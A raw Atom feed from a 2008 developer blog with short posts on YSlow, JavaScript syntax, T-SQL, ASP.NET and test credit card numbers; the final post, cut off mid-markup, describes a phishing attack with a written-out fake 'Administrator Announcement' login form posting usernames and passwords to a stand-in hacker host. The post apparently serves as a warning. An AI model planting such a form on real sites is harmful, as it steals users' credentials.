src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4693520048544220940</id><published>2008-01-10T21:42:00.000-08:00</published><updated>2008-01-13T23:42:18.074-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='httpcompression'/><category scheme='http://www.blogger.com/atom/ns#' term='IIS'/><category scheme='http://www.blogger.com/atom/ns#' term='update metabase'/><category scheme='http://www.blogger.com/atom/ns#' term='how to GZIP'/><category scheme='http://www.blogger.com/atom/ns#' term='ad expire header'/><title type='text'>performance setting to achieve good grade in YSLOW</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_TlcA67aiU5k/R4sSDf-ROyI/AAAAAAAAABo/a6yB76AKwNY/s1600-h/00.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5155234049787247394" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_TlcA67aiU5k/R4sSDf-ROyI/AAAAAAAAABo/a6yB76AKwNY/s200/00.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_TlcA67aiU5k/R4cIYv-ROwI/AAAAAAAAABY/VGUyMWRh2LM/s1600-h/5.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5154097519836347138" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_TlcA67aiU5k/R4cIYv-ROwI/AAAAAAAAABY/VGUyMWRh2LM/s200/5.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_TlcA67aiU5k/R4cHf_-ROuI/AAAAAAAAABI/NCxLp31qGgo/s1600-h/4.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5154096544878770914" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_TlcA67aiU5k/R4cHf_-ROuI/AAAAAAAAABI/NCxLp31qGgo/s200/4.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_TlcA67aiU5k/R4cHAP-ROtI/AAAAAAAAABA/nUOJ6zz8GUk/s1600-h/3.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5154095999417924306" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_TlcA67aiU5k/R4cHAP-ROtI/AAAAAAAAABA/nUOJ6zz8GUk/s200/3.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_TlcA67aiU5k/R4cGvP-ROsI/AAAAAAAAAA4/mwVu2xYhmZo/s1600-h/2.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5154095707360148162" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_TlcA67aiU5k/R4cGvP-ROsI/AAAAAAAAAA4/mwVu2xYhmZo/s200/2.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_TlcA67aiU5k/R4cGlv-ROrI/AAAAAAAAAAw/e3i_IXgXtaU/s1600-h/1.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5154095544151390898" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_TlcA67aiU5k/R4cGlv-ROrI/AAAAAAAAAAw/e3i_IXgXtaU/s200/1.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_TlcA67aiU5k/R4cCYv-ROpI/AAAAAAAAAAg/GWghKD6o8d0/s1600-h/0.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5154090922766580370" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_TlcA67aiU5k/R4cCYv-ROpI/AAAAAAAAAAg/GWghKD6o8d0/s320/0.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;performance setting to achieve good grade in YSLOW&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4693520048544220940?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4693520048544220940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4693520048544220940' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4693520048544220940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4693520048544220940'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/performance-setting-to-achieve-good.html' title='performance setting to achieve good grade in YSLOW'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_TlcA67aiU5k/R4sSDf-ROyI/AAAAAAAAABo/a6yB76AKwNY/s72-c/00.GIF' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-5207216142910977036</id><published>2008-01-10T00:17:00.001-08:00</published><updated>2008-01-10T00:17:18.724-08:00</updated><title type='text'>Dummy Credit Card Numbers for Testing</title><content type='html'>Dummy Credit Card Numbers for Testing &lt;br /&gt;Here is a list of dummy credit card number that can be used while testing your applications involving credit card transactions:&lt;br /&gt;Visa: 4111-1111-1111-1111 &lt;br /&gt;MasterCard: 5431-1111-1111-1111 &lt;br /&gt;Amex: 341-1111-1111-1111 &lt;br /&gt;Discover: 6011-6011-6011-6611&lt;br /&gt;Credit Card Prefix Numbers:&lt;br /&gt;Visa: 13 or 16 numbers starting with 4 &lt;br /&gt;MasterCard: 16 numbers starting with 5&lt;br /&gt;Discover: 16 numbers starting with 6011 &lt;br /&gt;AMEX: 15 numbers starting with 34 or 37&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-5207216142910977036?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/5207216142910977036/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=5207216142910977036' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5207216142910977036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5207216142910977036'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/dummy-credit-card-numbers-for-testing.html' title='Dummy Credit Card Numbers for Testing'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4929559406740439570</id><published>2008-01-10T00:15:00.005-08:00</published><updated>2008-01-10T00:15:55.455-08:00</updated><title type='text'>check credit card /credit card verification</title><content type='html'>check credit card /credit card verification&lt;br /&gt;http://www.braemoor.co.uk/software/creditcard.shtml&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4929559406740439570?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4929559406740439570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4929559406740439570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4929559406740439570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4929559406740439570'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/check-credit-card-credit-card.html' title='check credit card /credit card verification'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-849317038309479752</id><published>2008-01-10T00:15:00.003-08:00</published><updated>2008-01-10T00:23:38.516-08:00</updated><title type='text'>Navigate and Find with javascript</title><content type='html'>&amp;lt;script language="JavaScript"&gt;&lt;br /&gt;function function1() {&lt;br /&gt;window.external.NavigateAndFind('http://www.site.com', 'Java', '');&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input id="myB" type="button" value="Navigate and Find" onclick="function1();"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-849317038309479752?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/849317038309479752/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=849317038309479752' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/849317038309479752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/849317038309479752'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/navigate-and-find-with-javascript.html' title='Navigate and Find with javascript'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8964234613173141166</id><published>2008-01-10T00:15:00.001-08:00</published><updated>2008-01-10T00:15:09.635-08:00</updated><title type='text'>HTML and Case Sensitivity</title><content type='html'>HTML and Case Sensitivity&lt;br /&gt;Under HTML 4 and earlier, element and attribute names are case-insensitive. For example, the following two tags are equivalent:&lt;br /&gt;&lt;&lt;img src="plus.gif" alt="Increment x" onclick="x=x+1" /&gt;&gt;&lt;br /&gt;&lt;&lt;img src="plus.gif" alt="Increment x" onclick="x=x+1" /&gt;&gt;&lt;br /&gt;This is not a problem in itself. The problem comes when novice programmers see HTML event handlers referenced in two different ways (like ONCLICK and onClick in the previous example) and assume event handlers can be accessed similarly in JavaScript. This is not the case. The corresponding event handler in JavaScript is onclick, and it must always be referred to as such. The reason that ONCLICK and onClick work in HTML is that the browser automatically binds them to the correct onclick event handler in JavaScript.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8964234613173141166?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8964234613173141166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8964234613173141166' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8964234613173141166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8964234613173141166'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/html-and-case-sensitivity.html' title='HTML and Case Sensitivity'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-5825197892068076961</id><published>2008-01-10T00:14:00.001-08:00</published><updated>2008-01-10T00:14:51.814-08:00</updated><title type='text'>Javascript syntax rules</title><content type='html'>Syntax Rules&lt;br /&gt;Statements may contain a semicolon at the end of them as in C, but it is not necessary unless there are multiple statements on one line. Multiple statements on one line must be separated by a semicolon.&lt;br /&gt;JavaScript is case sensitive.&lt;br /&gt;Quotes may be single quote (') or double quote ("). When embedded within each other they must be used consistently as in the following example.&lt;br /&gt;onMouseOver="window.status='To Operating Systems Section' ;return true"&lt;br /&gt;Comments are the same as in C++ with the "//" characters for a single line comment, and the "/*" for the beginning of a multiline comment and the "*/" for the end of a multiline comment.&lt;br /&gt;Variables must be defined before they are used.&lt;br /&gt;----------------&lt;br /&gt;JavaScript Syntax Rules&lt;br /&gt;JavaScript is a simple language, but you do need to be careful to use its syntax—the rules that define how you use the language—correctly. The rest of this book covers many aspects of JavaScript syntax, but there are a few basic rules you should understand to avoid errors.&lt;br /&gt;Case Sensitivity&lt;br /&gt;Almost everything in JavaScript is case sensitive: you cannot use lowercase and capital letters interchangeably. Here are a few general rules:&lt;br /&gt;JavaScript keywords, such as for and if, are always lowercase.&lt;br /&gt;Built-in objects such as Math and Date are capitalized.&lt;br /&gt;DOM object names are usually lowercase, but their methods are often a combination of capitals and lowercase. Usually capitals are used for all but the first word, as in toLowerCase and getElementById.&lt;br /&gt;When in doubt, follow the exact case used in this book or another JavaScript reference. If you use the wrong case, the browser will usually display an error message.&lt;br /&gt;Variable, Object, and Function Names&lt;br /&gt;When you define your own variables, objects, or functions, you can choose their names. Names can include uppercase letters, lowercase letters, numbers, and the underscore (_) character. Names must begin with a letter or underscore.&lt;br /&gt;You can choose whether to use capitals or lowercase in your variable names, but remember that JavaScript is case sensitive: score, Score, and SCORE would be considered three different variables. Be sure to use the same name each time you refer to a variable.&lt;br /&gt;Reserved Words&lt;br /&gt;One more rule for variable names—they must not be reserved words. These include the words that make up the JavaScript language, such as if and for, DOM object names such as window and document, and built-in object names such as Math and Date. A complete list of reserved words is included in Appendix D, "JavaScript Quick Reference."&lt;br /&gt;Spacing&lt;br /&gt;Blank space (known as whitespace by programmers) is ignored by JavaScript. You can include spaces and tabs within a line, or blank lines, without causing an error. Blank space often makes the script more readable.&lt;br /&gt;------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-5825197892068076961?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/5825197892068076961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=5825197892068076961' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5825197892068076961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5825197892068076961'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/javascript-syntax-rules.html' title='Javascript syntax rules'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-373227863931219852</id><published>2008-01-10T00:13:00.001-08:00</published><updated>2008-01-10T00:13:59.055-08:00</updated><title type='text'>Makes AJAX Loader/Processing  GIF image in seconds</title><content type='html'>&lt;a href="http://www.ajaxload.info/"&gt;http://www.ajaxload.info&lt;/a&gt;&lt;br /&gt;Makes AJAX Loader/Processing  GIF image in seconds&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-373227863931219852?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/373227863931219852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=373227863931219852' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/373227863931219852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/373227863931219852'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/makes-ajax-loaderprocessing-gif-image.html' title='Makes AJAX Loader/Processing  GIF image in seconds'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-2984443592058837673</id><published>2008-01-10T00:12:00.002-08:00</published><updated>2008-01-10T00:13:42.889-08:00</updated><title type='text'>What is a normalized/canonical url?</title><content type='html'>&lt;p&gt;&lt;br /&gt;Caching depends upon this...&lt;br /&gt;Q: What is a normalized/canonical url? &lt;/p&gt;&lt;p&gt;A: Canonicalization is the process of picking the best url when there are several choices. For example, most people would consider these the same urls:&lt;br /&gt;&lt;a href="http://www.example.com/"&gt;www.example.com&lt;/a&gt;&lt;br /&gt;example.com/&lt;br /&gt;&lt;a href="http://www.example.com/index.html"&gt;www.example.com/index.html&lt;/a&gt;&lt;br /&gt;example.com/home.asp&lt;br /&gt;Note: But each above URL is treated as a different URL.&lt;/p&gt;always use same case &amp;amp; pattern while typing URL in code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-2984443592058837673?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/2984443592058837673/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=2984443592058837673' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2984443592058837673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2984443592058837673'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/what-is-normalizedcanonical-url.html' title='What is a normalized/canonical url?'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1200915324210473547</id><published>2008-01-10T00:12:00.001-08:00</published><updated>2008-01-10T00:12:32.823-08:00</updated><title type='text'>SQl, T-SQL, Avoid using cursor, alternative of cursor</title><content type='html'>Avoid using cursor, if primary key is on the working table, in some cases, we can achieve cursor functionality with following&lt;br /&gt;&lt;br /&gt;declare @currid int&lt;br /&gt;select @currid = min(OrderID) from Orders where OrderDate &lt; ''7/10/1996' while @currid is not null begin     select @currid = min(OrderID) from Orders where OrderDate &lt; '7/10/1996' and OrderID &gt; @currid&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt; May be helpful in some cases..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1200915324210473547?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1200915324210473547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1200915324210473547' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1200915324210473547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1200915324210473547'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/sql-t-sql-avoid-using-cursor.html' title='SQl, T-SQL, Avoid using cursor, alternative of cursor'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-785444934007464881</id><published>2008-01-10T00:11:00.003-08:00</published><updated>2008-01-10T00:11:51.583-08:00</updated><title type='text'>Did you use proper ConnectionPooling in ASP.NET</title><content type='html'>http://www.codeproject.com/useritems/ADONET_ConnectionPooling.asp&lt;br /&gt;Read &amp;amp; ponder over Min. Pool Size:&lt;br /&gt;&lt;br /&gt;Min Pool Size is  0 (by default)  The minimum number of connections allowed in the pool. Means we are not allowing connection to swim in the pool&lt;br /&gt;&lt;br /&gt;Final Note : Min Pool Size should be set to a optimal number. Microsoft says 5-12 is a good number.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-785444934007464881?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/785444934007464881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=785444934007464881' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/785444934007464881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/785444934007464881'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/did-you-use-proper-connectionpooling-in.html' title='Did you use proper ConnectionPooling in ASP.NET'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-852815201109418725</id><published>2008-01-10T00:11:00.001-08:00</published><updated>2008-01-10T00:11:19.706-08:00</updated><title type='text'>Encrypt and Decrypt of ConnectionString in app.config and/or web.config!</title><content type='html'>Encrypt and Decrypt of ConnectionString in app.config and/or web.config!&lt;br /&gt;&lt;br /&gt;http://www.codeproject.com/useritems/Configuration_File.asp&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-852815201109418725?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/852815201109418725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=852815201109418725' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/852815201109418725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/852815201109418725'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/encrypt-and-decrypt-of-connectionstring.html' title='Encrypt and Decrypt of ConnectionString in app.config and/or web.config!'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-5199068465062352089</id><published>2008-01-10T00:08:00.000-08:00</published><updated>2008-01-10T00:10:48.890-08:00</updated><title type='text'>Don't use Databinder.Eval, improve performance</title><content type='html'>&lt;p&gt; &lt;a href="file:///shahed/archive/2006/11/23/97944.aspx"&gt;Use explicit cast instead of using Eval&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;br /&gt;Eval uses reflection to evaluate argument passed.Reflection is the ability to read metadata at runtime&lt;br /&gt;&lt;itemtemplate&gt;&lt;div&gt;&lt;%# DataBinder.Eval(Container.DataItem,"myfield") %&gt;&lt;/div&gt;&lt;/itemtemplate&gt;&lt;br /&gt;But explicit casting can reduce the cost of reflection. Imagine if there is 30 rows and each row has 6 Eval calls. So there will be calls to Eval 180 times. And we should take this pretty seriously.So you must be thinking what to do. Hey we can simply do something like this and improve significant performance.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Option1=============&lt;/p&gt;&lt;p&gt;&lt;itemtemplate&gt;&lt;div&gt;&lt;%# ((DataRowView)Container.DataItem)["myfield"] %&gt;&lt;/div&gt;&lt;/itemtemplate&gt;&lt;br /&gt;Option2 for DataReader=====================&lt;/p&gt;&lt;p&gt;&lt;itemtemplate&gt;&lt;div&gt;&lt;%# ((DbDataRecord)Container.DataItem).GetString(0) %&gt;&lt;/div&gt;&lt;/itemtemplate&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Option3 use of ItemDataBound Event====================&lt;/p&gt;&lt;p&gt;protected void Repeater_ItemDataBound(Object sender, RepeaterItemEventArgs e){  DataRowView data = (DataRowView)e.Item.DataItem;  Response.Write(string.Format("&lt;div&gt;{0}&lt;/div&gt;",data["myfield"]));}&lt;br /&gt;And if we are using Collection Objects as DataSource we can do something like this List&lt;customer&gt; customers = GetCustomers();Repeater1.DataSource = customers;Repeater1.DataBind();....&lt;br /&gt;protected void Repeater_ItemDataBound(Object sender, RepeaterItemEventArgs e){  Customer customer = (Customer)e.Item.DataItem;  Response.Write(string.Format("&lt;div&gt;{0}&lt;/div&gt;",customer.FirstName));&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-5199068465062352089?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/5199068465062352089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=5199068465062352089' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5199068465062352089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/5199068465062352089'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/dont-use-databindereval-improve.html' title='Don&apos;t use Databinder.Eval, improve performance'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1119133165525615216</id><published>2008-01-10T00:07:00.000-08:00</published><updated>2008-01-10T00:08:19.682-08:00</updated><title type='text'>Fetching user's credential from other site: Hacking</title><content type='html'>Any subscriber/member may get hacked in following way:&lt;br /&gt;&lt;br /&gt;1. Open site&lt;br /&gt;2. Become a member&lt;br /&gt;3. Add blogs with title “”Administrator Announcement”&lt;br /&gt;content may be following&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Dear User,&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;This blog is shown to randomly accessed users. If you have got it, means you are lucky. &lt;websitename&gt;is offering a date with Anjelina Jolie. If interested. you may enroll for the contest here.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.blogger.com/images/sitelogo.GIF" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;User Name &lt;/li&gt;&lt;br /&gt;&lt;form name="frm" action="”http://www.URLofHackerSite.com/coll.aspx”" method="post"&gt;&lt;br /&gt;&lt;li&gt;&lt;input id="Login1_UserName"&gt; &lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;label id="Login1_PasswordLabel" for="Password"&gt;Password&lt;/label&gt;   &lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;input id="Password"&gt;  &lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div id="cntl-login"&gt;&lt;input class="button" id="login" type="submit" value="Enroll"&gt; &lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/form&gt;&lt;br /&gt;&lt;form name="frm" action="”http://www.URLofHackerSite.com/coll.aspx”" method="post"&gt;&lt;p&gt;&lt;br /&gt;&lt;/form&gt;&lt;strong&gt;Note:&lt;/strong&gt; This contest closes on 15th Oct. 2007&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Regards,&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Administrator&lt;/p&gt;&lt;br /&gt;&lt;p&gt; &lt;/p&gt;&lt;/form&gt;&lt;br /&gt;&lt;br /&gt;4.Now when other member logsin, he may visit above posted blog.&lt;br /&gt;5.When he may get fool if he enters is username/password &amp;amp; submits&lt;br /&gt;6.his details/session id/cookie info. /username/password will be submitted to http://www.URLofHackerSite.com/coll.aspx&lt;br /&gt;7.coll.aspx will get his details&lt;br /&gt;8.he will be hacked&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 